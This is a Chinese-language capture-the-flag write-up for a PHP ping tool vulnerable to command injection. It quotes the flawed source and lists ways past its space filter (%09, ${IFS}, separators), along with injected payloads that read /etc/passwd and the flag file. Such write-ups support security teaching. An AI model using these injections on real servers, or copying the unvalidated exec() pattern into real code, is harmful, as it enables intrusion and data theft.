考点:
(1)RCE(exec函数)
(2)空格绕过
(3)执行函数(exec函数)
(4)闭合(ping命令闭合)
题目来源:Polarctf-web-[rce1]
解题:
这段代码实现了一个简单的 Ping 测试工具,用户可以通过表单提交一个 IP 地址,服务器会执行 ping 命令并返回结果。
-
命令注入漏洞 (高危)
-
漏洞位置:
$cmd = "ping -c 4 {$ip}";
和exec($cmd, $res);
-
问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:
-
使用制表符
%09
代替空格 -
使用
${IFS}
(Bash 内部字段分隔符)代替空格(本题使用这个) -
使用重定向符号
<
或>
不需要空格 -
使用
;
、&&
、||
等命令连接符
-
-
攻击示例:
127.0.0.1;cat${IFS}/etc/passwd127.0.0.1%0als${IFS}-l
-
输入验证不足 (中危)
-
问题描述: 仅检查了是否包含空格,没有进行有效的 IP 地址格式验证
<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) { # 检测ip是否含有空格,如果不含有则进入里层,m用于存储匹配的数组$cmd = "ping -c 4 {$ip}";exec($cmd, $res); # 执行cmd命令,res用于存储命令的每一行输出} else {$res = $m;}}?><!DOCTYPE html><html><head><meta charset="utf-8"><title>ping</title></head><body><style>html{height:100%;}body{padding: 0;margin: 0;background: url(1.png);background-size: 100% 100%;position: absolute;}</style><h1>就过滤了个空格,能拿到flag算我输</h1><form action="#" method="GET"><label for="ip">IP : </label><br><input type="text" id="ip" name="ip"><input type="submit" value="Ping"></form><hr><pre><?phpif ($res) {print_r($res);}?></pre><?phpshow_source(__FILE__);?></body></html>
用分号闭合ping命令,输入ls
,点击"Ping"查看当前目录文件
使用命令查看可疑文件,由于过滤了空格,此处使用${IFS}进行绕过:;cat${IFS}fllllaaag.php
点击"Ping"
成功回显,查看源码获得flag